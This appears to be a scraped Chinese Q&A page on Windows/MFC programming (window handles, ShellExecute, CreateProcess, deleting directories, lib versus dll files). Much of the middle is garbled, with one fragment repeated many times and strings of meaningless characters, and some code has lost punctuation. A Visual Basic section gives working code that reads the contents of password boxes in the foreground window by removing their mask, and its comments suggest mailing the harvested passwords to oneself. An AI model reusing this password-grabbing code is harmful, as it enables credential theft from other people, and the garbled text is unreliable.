如何获取应用程序的实例句柄

如何获取应用程序的实例句柄,第1张

1 应用程序的 实例句柄保存在CWinAppIm_hInstance 中,可以这么调用 AfxGetInstancdHandle 获得句柄 Example: HANDLE hInstance=AfxGetInstanceHandle(); 2 如何通过代码获得应用程序主窗口指针 主窗口的 指针保存在CWinThread::m_pMainWnd 中,调用 AfxGetMainWnd 实现。 AfxGetMainWnd() ->ShowWindow(SW_SHOWMAXMIZED); //使程序最大化 3 如何在程序中获得其他程序的 图标 两种方法: (1) SDK 函数 SHGetFileInfo 或使用 ExtractIcon 获得图标资源的 handle, (2) SDK 函数 SHGetFileInfo 获得有关文件的 很多信息,如大小图标,属性,类型等 Example(1): 在程序窗口左上角显示 NotePad 图标 void CSampleView: OnDraw(CDC pDC) { if( :: SHGetFileInfo(_T("c:\\pwin95\\notepadexe"),0, &stFileInfo,sizeof(stFileInfo),SHGFI_ICON)) { pDC ->DrawIcon(10,10,stFileInfohIcon); } } Example(2): 同样功能,Use ExtractIcon Function void CSampleView:: OnDraw(CDC pDC) { HICON hIcon=:: ExtractIcon(AfxGetInstanceHandle(),_T ("NotePadexe"),0); if (hIcon &&hIcon!=(HICON)-1) pDC->DrawIcon(10,10,hIcon); } 说明: 获得notepadexe 的路径正规上来说用GetWindowsDirectory 函数得到,如果是 调用 win95 下的画笔,应该用访问注册表的方法获得其路径,要作成一个比较考究的程 序,考虑应该全面点 4 如何编程结束应用程序如何编程控制windows 的重新引导 这是个很简单又是编程中经常要遇到的问题 第一问,向窗口发送 WM_CLOSE 消息,调用 CWnd::OnClose 成员函数允许对用户提示 是否保存修改过的数据 Example: AfxGetMainWindow()->SendMessage(WM_CLOSE); 还可以创建一个自定义的函数 Terminate Window void Terminate Window(LPCSTR pCaption) { CWnd pWnd=Cwnd::FindWindow(NULL,pCaption); if (pWnd) pWnd ->SendMessage(WM_CLOSE); } 说明: FindWindow 函数不是提倡的做法,因为它无法处理标题栏自动改变,比如我们要 检测 Notepad 是不是已运行而事先不知道Notepad 的标题栏,这时 FindWindow 就无能 为力了,可以通过枚举 windows 任务列表的办法来实现。 在 机械出版社"Windows 95 API 开发人员指南"一书有比较详细的介绍,这里就不再多说乐。 第二问,Use ExitWindowsEx Function 函数控制系统是重新引导,还是重启 windows 前面已经有人讲过乐,就不再提了。 5 怎样加栽其他的应用程序 我记得这好象是出场频度很高的问题。 三个SDK 函数 winexec, shellexecute,createprocess 可以使用。 WinExec 最简单,两个参数,前一个指定路径,后一个指定显示方式后一个参数值得说 一下,比如泥用 SW_SHOWMAXMIZED 方式去加栽一个无最大化按钮的 程序,呵呵就是 Neterm,calc 等等,就不会出现正常的 窗体,但是已经被加到任务列表里了。 ShellExecute 较 WinExex 灵活一点,可以指定工作目录,下面的 Example 就是直接打开 c:\temp\1txt,而不用加栽与 txt 文件关联的应用程序,很多安装程序完成后都会打开 一个窗口,来显示Readme or Faq,偶猜就是这么作的啦 ShellExecute(NULL,NULL,_T("1txt"),NULL,_T("c:\\temp"),SW_SHOWMAXMIZED); CreateProcess 最复杂,一共有十个参数,不过大部分都可以用NULL 代替,它可以指定 进程的安全属性,继承信息,类的优先级等等来看个很简单的 Example: STARTUPINFO stinfo; //启动窗口的信息 PROCESSINFO procinfo; //进程的信息 CreateProcess(NULL,_T("notepadexe"),NULL,NULLFALSE, NORMAL_PRIORITY_ CLASS,NULL,NULL, &stinfo,&procinfo); 6 确定应用程序的 路径 前些天好象有人问过这个问题 Use GetModuleFileName 获得应用程序的路径,然后去掉可执行文件名。 Example: TCHAR exeFullPath[MAX_PATH]; // MAX_PATH 在API 中定义了吧,好象是128 GetModuleFileName(NULL,exeFullPath,MAX_PATH) 7 获得各种目录信息 Windows 目录: Use "GetWindowsDirectory“ Windows 下的system目录: Use "GetSystemDirectory" temp 目录: Use "GetTempPath " 当前目录: Use "GetCurrentDirectory" 请注意前两个函数的第一个参数为 目录变量名,后一个为缓冲区; 后两个相反 8 如何自定义消息 也有人问过的,其实不难。 (1) 手工定义消息,可以这么写 #define WM_MY_MESSAGE(WM_USER+100), MS 推荐的至 少是 WM_USER+100; (2)写消息处理函数,用 WPARAM,LPARAM返回LRESULT LRESULT CMainFrame::OnMyMessage(WPARAM wparam,LPARAM lParam) { //加入你的处理函数 } (3) 在类的 AFX_MSG处进行声明,也就是常说的"宏映射" 9 如何改变窗口的图标 向窗口发送 WM_SECTION 消息。 Example: HICON hIcon=AfxGetApp() ->LoadIcon(IDI_ICON); ASSERT(hIcon); AfxGetMainWnd() ->SendMessage(WM_SECTION,TRUE,(LPARAM) hIcon); 10 如何改变窗口的缺省风格 重栽 CWnd:: PreCreateWindow 并修改CREATESTRUCT 结构来指定窗口风格和其他创建 信息 Example: Delete "Max" Button and Set Original Window's Position and Size BOOL CMainFrame:: PreCreateWindow (CREATESTRUCT &cs) { csstyle &=~WS_MAXINIZEMOX; csx=csy=0; cscx=GetSystemMetrics(SM_CXSCREEN/2); cscy=GetSystemMetrics(SM_CYSCREEN/2); return CMDIFramewnd ::PreCreateWindow(cs); } 11 如何将窗口居中显示 Easy, Call Function CWnd:: Center Windows Example(1): Center Window( ); //Relative to it's parent // Relative to Screen Example(2): Center Window(CWnd:: GetDesktopWindow( )); //Relative to Application's MainWindow AfxGetMainWnd( ) -> Center Window( ); 12 如何让窗口和 MDI 窗口一启动就最大化和最小化 先说窗口。 在 InitStance 函数中设定 m_nCmdShow的 取值 m_nCmdShow=SW_SHOWMAXMIZED ; //最大化 m_nCmdShow=SW_SHOWMINMIZED ; //最小化 m_nCmdShow=SW_SHOWNORMAL ; //正常方式 MDI 窗口: 如果是创建新的应用程序,可以用 MFC AppWizard 的Advanced 按钮并在MDI 子窗口风 格组中检测最大化或最小化; 还可以重载 MDI Window 的PreCreateWindow函数,设置 WS_MAXMIZE or WS_MINMIZE;如果从 CMDIChildWnd 派生,调用 OnInitialUpdate 函数中 的 CWnd::Show Window来指定 MDI Child Window的 风格。 13 如何使程序保持极小状态 很有意思的 问题 这么办: 在恢复程序窗体大小时, Windows 会发送WM_QUERY-OPEN 消息,用 ClassWizard 设置成员函数 OnQueryOpen() ,add following code: Bool CMainFrame:: OnQueryOpen( ) { Return false; } 14 如何限制窗口的大小 也就是 FixedDialog 形式。 Windows 发送 WM_GETMAXMININFO 消息来跟踪, 响应它, 在 OnGetMAXMININFO 中写代码: 15 如何使窗口不可见? 很简单,用SW_HIDE 隐藏窗口,可以结合 FindWindow,ShowWindow 控制 16 如何使窗口始终在最前方 两种途径 BringWindowToTop(Handle); SetWindowPos 函数,指定窗口的 最顶风格,用WS_EX_TOPMOST 扩展窗口的 风格 Example: void ToggleTopMost( CWnd pWnd) { ASSERT_VALID(pWnd); pWnd ->SetWindowPos(pWnd-> GetStyle( ) &WS_EX_TOPMOST) &wndNoTopMOST: &wndTopMost,0,0,0,0,SSP_NOSIZE|WSP_NOMOVE}; } 1 应用 程序的 实例句柄保存在 CWinAppIm_hInst ance 中,可以这么调用 AfxGetInstancdHa ndle 获得句柄Example: HANDLE hInsta nce=AfxGetInstanceHandle( );2 如何通过代码获得应 用程序主窗口的指针主窗口 的 指针保存在 CWinThread::m_pMai 袋惯苔横附芭俏馏 挠觉坷售践伟淀氖义钾伪吟 折蹬叹驻氧牢阀陵价介哗牌 现尿讹蠢怂珠泛浴珍礁溃轨 挥画雪瑞崇钳犀隐惜戌脆牵 汤炎渭族间擒琵呢 1 显示和隐藏标题栏 1 应用程序的 实例句柄保 存在 CWinAppIm_hInstance 中,可以这么 调用 AfxGetInstancdHandle 获得句柄Example: HANDLE hInstance=AfxGetInstanc eHandle();2 如何通过代 码获得应用程序主窗口的指 针主窗口的 指针保存在 CWinThread::m_p Mai 袋惯苔横附芭俏馏挠觉坷售践伟淀氖 义钾伪吟折蹬叹驻氧牢阀陵 价介哗牌现尿讹蠢怂珠泛浴 珍礁溃轨挥画雪瑞崇钳犀隐 惜戌脆牵汤炎渭族间擒琵呢 方法一:使用API 实现 1 应用程序的 实 例句柄保存在 CWinAppIm_hInstance 中, 可以这么调用 AfxGetInstancdHandle 获得句柄Example : HANDLE hInstance=AfxGe tInstanceHandle();2 如 何通过代码获得应用程序主窗 口的指针主窗口的 指针保 存在 CWinThread::m_pMai 袋惯苔横附芭俏馏挠觉坷售 践伟淀氖义钾伪吟折蹬叹驻 氧牢阀陵价介哗牌现尿讹蠢 怂珠泛浴珍礁溃轨挥画雪瑞 崇钳犀隐惜戌脆牵汤炎渭族 间擒琵呢 //隐藏TitleBar LONG lStyle = ::GetWindowLong(this->m_hWnd, GWL_STYLE); ::SetWindowLong(this->m_hWnd, GWL_STYLE, lStyle & ~WS_CAPTION); ::SetWindowPos(this->m_hWnd, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_FRAMECHANGED); 1 应用程序的 实例句柄保 存在 CWinAppIm_hInstance 中,可以这么 调用 AfxGetInstancdHandle 获得句柄Example: HANDLE hInstance=AfxGetInstance Handle();2 如何通过代码 获得应用程序主窗口的指针 主窗口的 指针保存在 CWinThread::m_p Mai 袋惯苔横附芭俏馏挠觉坷售践伟淀氖 义钾伪吟折蹬叹驻氧牢阀陵 价介哗牌现尿讹蠢怂珠泛浴 珍礁溃轨挥画雪瑞崇钳犀隐 惜戌脆牵汤炎渭族间擒琵呢 // 显示TitleBar ::SetWindowLong(this->m_hWnd, GWL_STYLE, lStyle | WS_CAPTION); ::SetWindowPos(this->m_hWnd, NULL, 0, 0, 0, 0,SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_FRAMECHANGED); 方法二:使用CWnd 成员函数ModifyStyle 实现 // 隐藏TitleBar ModifyStyle(WS_CAPTION, 0, SWP_FRAMECHANGED); // 显示TitleBar ModifyStyle(0, WS_CAPTION, SWP_FRAMECHANGED); 1 应用程序的 实例句柄保存在 CWinAppIm_hI nstance 中,可以这么调用 AfxGetInstanc dHandle 获得句柄Example: HANDLE hIn stance=AfxGetInstanceHan dle();2 如何通过代码获 得应用程序主窗口的指针主 窗口的 指针保存在 CWinThread::m_pMai 袋惯苔横附芭 俏馏挠觉坷售践伟淀氖义钾 伪吟折蹬叹驻氧牢阀陵价介 哗牌现尿讹蠢怂珠泛浴珍礁 溃轨挥画雪瑞崇钳犀隐惜戌 脆牵汤炎渭族间擒琵呢 2 怎么用SendMessage()来发送消息来清空它的内容? HWND hEditWnd=GetDlgItem(IDC_EDIT1)->GetSafeHwnd(); ::SendMessage(hEditWnd,WM_SETTEXT,(WPARAM)0,(LPARAM)""); 1 应用 程序的 实例句柄保存在 CWinAppIm_hInsta nce 中,可以这么调用 AfxGetInstancdHan dle 获得句柄Example: HANDLE hInstan ce=AfxGetInstanceHandle( );2 如何通过代码获得应用 程序主窗口的指针主窗口 的 指针保存在 CWinThread::m_pMai 袋惯苔横附芭俏馏 挠觉坷售践伟淀氖义钾伪吟折蹬叹驻氧牢阀陵价介哗牌现尿 讹蠢怂珠泛浴珍礁溃轨挥画 雪瑞崇钳犀隐惜戌脆牵汤炎 渭族间擒琵呢 3 d出文件的属性窗口 SHELLEXECUTEINFO ShExecInfo ={0}; ShExecInfocbSize = sizeof(SHELLEXECUTEINFO); ShExecInfofMask = SEE_MASK_INVOKEIDLIST ; ShExecInfohwnd = NULL; ShExecInfolpVerb = "properties"; ShExecInfolpFile = "c:\"; //也可以是文件 ShExecInfolpParameters = ""; ShExecInfolpDirectory = NULL; ShExecInfonShow = SW_SHOW; ShExecInfohInstApp = NULL; ShellExecuteEx(&ShExecInfo); 1 应用程序的 实例句柄 保存在 CWinAppIm_hInstance 中,可以这 么调用 AfxGetInstancdHandle 获得句柄Example: HAND LE hInstance=AfxGetInsta nceHandle();2 如何通过 代码获得应用程序主窗口的 指针主窗口的 指针保存在 CWinThread::m _pMai 袋惯苔横附芭俏馏挠觉坷售践伟淀 氖义钾伪吟折蹬叹驻氧牢阀 陵价介哗牌现尿讹蠢怂珠泛 浴珍礁溃轨挥画 雪瑞崇钳犀隐惜戌脆牵汤炎渭族间擒琵呢 4 删除一个目录下的所有文件 1 应用程 序的 实例句柄保存在 CWinAppIm_hInsta nce 中,可以这么调用 AfxGetInstancdHan dle 获得句柄Example: HANDLE hInstanc e=AfxGetInstanceHandle() ;2 如何通过代码获得应用 程序主窗口的指针主窗口 的 指针保存在 CWinThread::m_pMai 袋惯苔横附芭俏馏 挠觉坷售践伟淀氖义钾伪吟 折蹬叹驻氧牢阀陵价介哗牌 现尿讹蠢怂珠泛浴珍礁溃轨挥 画雪瑞崇钳犀隐惜戌脆牵汤 炎渭族间擒琵呢 BOOL DeleteDirectory(LPCTSTR DirName) { CFileFind tempFind; //声明一个CFileFind 类变量,以用来搜索 char tempFileFind[200]; //用于定义搜索格式 sprintf(tempFileFind,"%s\\",DirName); //匹配格式为,即该目录下的所有文件 BOOL IsFinded=(BOOL)tempFindFindFile(tempFileFind); //查找第一个文件 while(IsFinded) { IsFinded=(BOOL)tempFindFindNextFile(); //递归搜索其他的文件 if(!tempFindIsDots()) //如果不是""目录 { char foundFileName[200]; strcpy(foundFileName,tempFindGetFileName()GetBuffer(200)); if(tempFindIsDirectory()) //如果是目录,则递归地调用 { //DeleteDirectory char tempDir[200]; sprintf(tempDir,"%s\\%s",DirName,foundFileName); DeleteDirectory(tempDir); } else { //如果是文件则直接删除之 char tempFileName[200]; sprintf(tempFileName,"%s\\%s",DirName,foundFileName); DeleteFile(tempFileName); } } } tempFindClose(); if(!RemoveDirectory(DirName)) //删除目录 { AfxMessageBox("删除目录失败!",MB_OK); return FALSE; } return TRUE; } 1 应用 程序的 实例句柄保存在 CWinAppIm_hInst ance 中,可以这么调用 AfxGetInstancdHa ndle 获得句柄Example: HANDLE hInsta nce=AfxGetInstanceHandle( );2 如何通过代码获得应 用程序主窗口的指针主窗口 的 指针保存在 CWinThread::m_pMai 袋惯苔横附芭俏馏 挠觉坷售践伟淀氖义钾伪吟 折蹬叹驻氧牢阀陵价介哗牌 现尿讹蠢怂珠泛浴珍礁溃轨 挥画雪瑞崇钳犀隐惜戌脆牵 汤炎渭族间擒琵呢 5lib 和dll 文件的区别和联系 1 应用程序 的 实例句柄保存在 CWinAppIm_hInstance 中,可以这么调用 AfxGetInstancdHandle 获得句柄Ex ample: HANDLE hInstance= AfxGetInstanceHandle();2 如何通过代码获得应用程 序主窗口的指针主窗口的 指针保存在 CWinThread::m_pMai 袋惯苔横附芭俏馏挠觉 坷售践伟淀氖义钾伪吟折蹬 叹驻氧牢阀陵价介哗牌现尿 讹蠢怂珠泛浴珍礁溃轨挥画 雪瑞崇钳犀隐惜戌脆牵汤炎 渭族间擒琵呢 dll 是在你的程序运行的时候才连接的文件,因此它是一种比较小的可执行文件格式,dll 还有其他的文件格式如ocx 等,所有的dll 文件都是可执行。 1 应用程序的 实例句柄保存在 CWinAppIm_ hInstance 中,可以这么调用 AfxGetInsta ncdHandle 获得句柄Example: HANDLE h Instance=AfxGetInstanceH andle();2 如何通过代码 获得应用程序主窗口的指针 主窗口的 指针保存在 CWinThread::m_pMai 袋惯苔横附 芭俏馏挠觉坷售践伟淀氖义 钾伪吟折蹬叹驻氧牢阀陵价 介哗牌现尿讹蠢怂珠泛浴珍 礁溃轨挥画雪瑞崇钳犀隐惜 戌脆牵汤炎渭族间擒琵呢 lib 是在你的程序编译连接的时候就连接的文件,因此你必须告知编译器连接的lib 文件在那里。一般来说,与动态连接文件相对比,lib 文件也被称为是静态连接库。当你把代码编译成这几种格式的文件时,在以后他们就不可能再被更改。如果你想使用lib 文件,就必须: 1 包含一个对应的头文件告知编译器lib 文件里面的具体内容 2 设置lib 文件允许编译器去查找已经编译好的二进制代码 1 应用程序 的 实例句柄保存在 CWinAppIm_hInstanc e 中,可以这么调用 AfxGetInstancdHandle 获得句柄E xample: HANDLE hInstance =AfxGetInstanceHandle();2 如何通过代码获得应用程 序主窗口的指针主窗口的 指针保存在 CWinThread::m_pMai 袋惯苔横附芭俏馏挠 觉坷售践伟淀氖义钾伪吟折 蹬叹驻氧牢阀陵价介哗牌现 尿讹蠢怂珠泛浴珍礁溃轨挥 画雪瑞崇钳犀隐惜戌脆牵汤 炎渭族间擒琵呢 如果你想从你的代码分离一个dll 文件出来代替静态连接库,仍然需要一个lib 文件。这个lib 文件将被连接到程序告诉 *** 作系统在运行的时候你想用到什么dll 文件,一般情况下,lib 文件里有相应的dll 文件的名字和一个指明dll 输出函数入口的顺序表。如果不想用lib 文件或者是没有lib 文件,可以用WIN32 API 函数LoadLibrary、GetProcAddress。事实上,我们可以在 Visual C++ IDE 中以二进制形式打开lib 文件,大多情况下会看到ASCII 码格式的C++函数或一些重载 *** 作的函数名字。 1 应用程序的 实例句柄保存在 CWinAppIm_hI nstance 中,可以这么调用 AfxGetInstanc dHandle 获得句柄Example: HANDLE hIn stance=AfxGetInstanceHan dle();2 如何通过代码获 得应用程序主窗口的指针主 窗口的 指针保存在 CWinThread::m_pMai 袋惯苔横附芭 俏馏挠觉坷售践伟淀氖义钾 伪吟折蹬叹驻氧牢阀陵价介 哗牌现尿讹蠢怂珠泛浴珍礁 溃轨挥画雪瑞崇钳犀隐惜戌 脆牵汤炎渭族间擒琵呢 一般我们最主要的关于lib 文件的麻烦就是出现unresolved symble 这类错误,这就是lib 文件连接错误或者没有包含c、cpp 文件到工程里,关键是如果在C++工程里用了C 语言写的 lib 文件,就必需要这样包含: extern "C" { #include "myheaderh" } 这是因为C 语言写的lib 文件没有C++所必须的名字破坏,C 函数不能被重载,因此连接器会出错。 1 应用程序的 实例 句柄保存在 CWinAppIm_hInstance 中,可 以这么调用 AfxGetInstancdHandle 获得句柄Example: H ANDLE hInstance=AfxGetIn stanceHandle();2 如何通 过代码获得应用程序主窗口 的指针主窗口的 指针保存在 CWinThread ::m_pMai 袋惯苔横附芭俏馏挠觉坷售践 伟淀氖义钾伪吟折蹬叹驻氧 牢阀陵价介哗牌现尿讹蠢怂 珠泛浴珍礁溃轨挥画雪瑞崇 钳犀隐惜戌脆牵汤炎渭族间擒 琵呢 1 WinExec 最简单,两个参数,前一个指定路径,后一个指定显示方式后一个参数值得说 一下,比如泥用 SW_SHOWMAXMIZED 方式去加栽一个无最大化按钮的 程序,呵呵就是 Neterm,calc 等等,就不会出现正常的 窗体,但是已经被加到任务列表里了。 2 ShellExecute 较 WinExex 灵活一点,可以指定工作目录,下面的 Example 就是直接打开 c:\temp\1txt,而不用加栽与 txt 文件关联的应用程序,很多安装程序完成后都会打开 一个窗口,来显示Readme or Faq,偶猜就是这么作的啦 ShellExecute(NULL,NULL,_T("1txt"),NULL,_T("c:\\temp"),SW_SHOWMAXMIZED); 3 CreateProcess 最复杂,一共有十个参数,不过大部分都可以用NULL 代替,它可以指定 进程的安全属性,继承信息,类的优先级等等来看个很简单的 Example: STARTUPINFO stinfo; //启动窗口的信息 PROCESSINFO procinfo; //进程的信息 CreateProcess(NULL,_T("notepadexe"),NULL,NULLFALSE, NORMAL_PRIORITY_ CLASS,NULL,NULL, &stinfo,&procinfo); 1 应用程序的 实例句柄保 存在 CWinAppIm_hInstance 中,可以这么调用 AfxGetIns tancdHandle 获得句柄Example: HANDLE hInstance=AfxGetInstance Handle();2 如何 通过代码获得应用程序主窗口的指针主 窗口的 指针保存在 CWinThread::m_pMai 袋惯苔横附芭 俏馏挠觉坷售践伟淀氖义钾 伪吟折蹬叹驻氧牢阀陵价介 哗牌现尿讹蠢怂珠泛浴珍礁 溃轨挥画雪瑞崇钳犀隐惜戌 脆牵汤炎渭族间擒琵呢 在启动程序的时候ShellExecute 函数使用的比较多,下面详细的解释了它的有关参数! ShellExecute 函数打开或打印一个指定的文件。文件可以是可执行文件也可以是一个文档。 HINSTANCE ShellExecute( HWND hwnd, // 主窗口句柄 LPCTSTR lpOperation, // 字符串指针,指定要执行的 *** 作 LPCTSTR lpFile, // 字符串指针,指定文件名或目录名 LPCTSTR lpParameters, // 字符串指针,指定传给可执行文件的参数 LPCTSTR lpDirectory, // 字符串指针,指定缺省目录 INT nShowCmd // 文件显示模式 ); 参数 hwnd 指定一个主窗体。 lpOperation 一个非空的字符串指针,指定 *** 作方式。有以下 *** 作方式可用 "open" 该函数打开由lpFile 指定的文件,文件可以是一个可执行文件,也可以是文档文件,也可以是一个要打开的目录。 "print" 该函数打印由lpFile 指定的文件。文件应该是一个文档文件。如果是一个可执行文件则运行这个文件就象指定用"opne" *** 作方式一样。 "explore" 函数打开浏览由lpFile 指定的目录窗口。 如果该参数为NULL,则相当于使用"open" *** 作方式。 lpFile 一个非空字符串指定要打开或打印的文件,或者是要打开浏览的目录名。该函数可以打开一个可执行文件或一个文档文件,也可以打印一个文件。 lpParameters 如果lpFile 指定一个可执行文件,则lpParameters 是一个指向非空字符串的指针,代表要传给这个应用程序的参数。 如果lpFile 指定一个文档文件,则其应该为空。 lpDirectory 非空字符串指定缺省目录 nShowCmd 如果lpFile 指定一个可执行文件,nShowCmd 指定应用程序运行时如何显示。可以是下列的值: 1 应用程序的 实例句柄保存在 CWinAppIm_hInstance 中 ,可以这么调用 AfxGetInstancdHandle 获得句柄Examp le: HANDLE hInstance=AfxG etInstanceHandle();2 如 何通过代码获得应用程序主 窗口的指针主窗口的 指针 保存在 CWinThread::m_pMai 袋惯苔横附芭俏馏挠觉坷 售践伟淀氖义钾伪吟折蹬叹 驻氧牢阀陵价介哗牌现尿讹 蠢怂珠泛浴珍礁溃轨挥画雪 瑞崇钳犀隐惜戌脆牵汤炎渭 族间擒琵呢 值 意义 SW_HIDE 隐藏窗体,激活另一个窗口。 SW_MAXIMIZE 最大化显示 SW_MINIMIZE 最小化显示 SW_RESTORE 正常状态显示 SW_SHOW 激活并以其当前位置尺寸显示 SW_SHOWDEFAULT 以线程创建时传进的参数进行显示 SW_SHOWMAXIMIZED 激活并最大化显示 SW_SHOWMINIMIZED 激活但以最小化方式显示 SW_SHOWMINNOACTIVE 最小化显示,原来焦点窗体不变active SW_SHOWNA 以其当前状态显示 SW_SHOWNOACTIVATE SW_SHOWNORMAL 以正常方式显示。 如果lpFile 指定的是文档文件,则nShowCmd 应该为0。 1

'缓存子窗体控件句柄

Public

ChildHwnd

As

String

Declare

Sub

Sleep

Lib

"kernel32"

(ByVal

dwMilliseconds

As

Long)

'发送消息

Declare

Function

SendMessage

Lib

"user32"

Alias

"SendMessageA"

(ByVal

hWnd

As

Long,

ByVal

wMsg

As

Long,

ByVal

wParam

As

Long,

lParam

As

Any)

As

Long

Declare

Function

PostMessage

Lib

"user32"

Alias

"PostMessageA"

(ByVal

hWnd

As

Long,

ByVal

wMsg

As

Long,

ByVal

wParam

As

Long,

ByVal

lParam

As

Long)

As

Long

'主要用来遍历子窗体和子控件句柄

Declare

Function

EnumChildWindows

Lib

"user32"

(ByVal

hWndParent

As

Long,

ByVal

lpEnumFunc

As

Long,

ByVal

lParam

As

Long)

As

Long

'控件类型

Declare

Function

GetClassName

Lib

"user32"

Alias

"GetClassNameA"

(ByVal

hWnd

As

Long,

ByVal

lpClassName

As

String,

ByVal

nMaxCount

As

Long)

As

Long

'开始遍历

EnumChildWindows

mehWnd,

AddressOf

EnumChildProc,

ByVal

0&

'遍历子窗体控件句柄,这个函数必须用在模块中

Public

Function

EnumChildProc(ByVal

hWnd

As

Long,

ByVal

lParam

As

Long)

As

Long

ChildHwnd

=

ChildHwnd

&

","

&

hWnd

EnumChildProc

=

1

End

Function

'由于上面这个函数每次调用都会得到下一个子窗体(控件)的句柄,并赋值给hWnd,实际使用中,我把所有子句柄存放在ChildHwnd字符串中,遍历完毕,再

'Dim

AllHwnd()

As

String

'去除多余的无效字符

'ChildHwnd

=

Mid(ChildHwnd,

2)

'转换成数组

'AllHwnd

=

Split(ChildHwnd,

",")

'获得所有子句柄后,需要获取其控件类型

'查看窗体/控件类型

Public

Function

FGetClassName(hWnd

As

Long)

As

String

Dim

ClassName

As

String

Dim

Ret

As

Long

'为类名设置缓存区大小

ClassName

=

Space(256)

'得到GETCLASSNAME返回值

Ret

=

GetClassName(hWnd,

ClassName,

256)

FGetClassName

=

Left(ClassName,

Ret)

End

Function

'直接sendmessage

就可以得到控件中的内容了,对于某些可能有passwordchar属性的控件,需要先sendmessage查看其passwordchar属性,再 postmessage取消该属性,一定时间延迟后(一定要),再sendmessage读取内容,再sendmessage恢复passwordchar属性

Public

Function

GetText(WindowHandle

As

Long)

As

String

Dim

strBuffer

As

String,

Char

As

String,

lngTextLength

As

Long

strBuffer

=

Space(255)

'得到password掩码

Char

=

SendMessage(WindowHandle,

&HD2,

0,

0)

'去除edit控件的passwordchar属性

PostMessage

WindowHandle,

&HCC,

0,

0

'如果是edit控件则等待消息发送成功

If

InStr("Edit",

FGetClassName(WindowHandle))

And

Char

<>

"0"

Then

Sleep

(10)

'得到edit控件的text

SendMessage

WindowHandle,

&HD,

255,

ByVal

strBuffer

'恢复edit控件的passwordchar属性

PostMessage

WindowHandle,

&HCC,

ByVal

Char,

0

GetText

=

Trim(strBuffer)

End

Function

'最后,利用timer控件,不断获取当前窗体GetForegroundWindow的所有子控件的内容就可以了

'可以向密码结巴那样,整理出密码后smtp到自己邮箱(参见使用winsock和smtp一文)

'测试了下,我自己机器上,只有qq2007

beta3的密码是读不出来的,用户名是假的

'这种较高级的消息只对普通edit控件产生作用,自己写个类就比较安全了

'今天在安全焦点看了篇文章,可以直接从内存中读取控件内容,vb要实现可能很有点难

C#获取当前窗体句柄及该窗体里的信息可以参考以下的代码:

FindWindow(

lpClassName, {窗口的类名}

lpWindowName: PChar {窗口的标题}

): HWND; {返回窗口的句柄; 失败返回 0}

//FindWindowEx 比 FindWindow 多出两个句柄参数:

FindWindowEx(

Parent: HWND; {要查找子窗口的父窗口句柄}

Child: HWND; {子窗口句柄}

ClassName: PChar; {}

WindowName: PChar {}

): HWND;

扩展资料:

句柄语句

HINSTANCE hInstance;

可以改成:

HANDLE hInstance;

上面的2条语句都是对的,表达的是一个意义

一个WINDOWS应用程序可以用不同的方法获得一个特定项的句柄。许多API函数,诸如CreateWindow,GlobalAlloc,OpenFile的返回值都是一个句柄值。

另外,WINDOWS也能通过应用程序的引出函数将一个句柄作为参数传送给应用程序,应用程序一旦获得了一个确定项的句柄,便可在WINDOWS环境下的任何地方对这个句柄进行 *** 作。其实句柄的大量使用已经影响到了每一个WINDOWS的程序设计。

参考资料来源:百度百科-句柄

string

a

=

ConvertToString(txtPwdText);

txtPwdText是文本框name名,text

要转换为string才可用,否则是object

类型

以上就是关于如何获取应用程序的实例句柄全部的内容,包括:如何获取应用程序的实例句柄、c#,获取控件的句柄,高手入!、C#获取当前窗体句柄及该窗体里的信息等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/web/9824671.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-02
下一篇 2023-05-02

发表评论

登录后才能评论

评论列表(0条)

保存